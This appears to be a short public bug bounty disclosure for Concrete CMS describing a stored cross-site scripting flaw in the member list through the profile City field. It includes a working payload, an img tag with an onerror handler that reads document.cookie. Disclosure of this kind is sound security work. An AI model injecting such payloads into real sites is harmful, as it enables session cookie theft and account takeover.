Concrete CMS · Report #4839
XSS IN member List (Because of City Textbox)
Validstatus
6upvotes
16 Apr 2014disclosed
How it was found
Proof: http://prntscr.com/348q0v
1st: go to your profile Edit your Address and City and put this code "><img src=xonerror=alert(document.cookie)>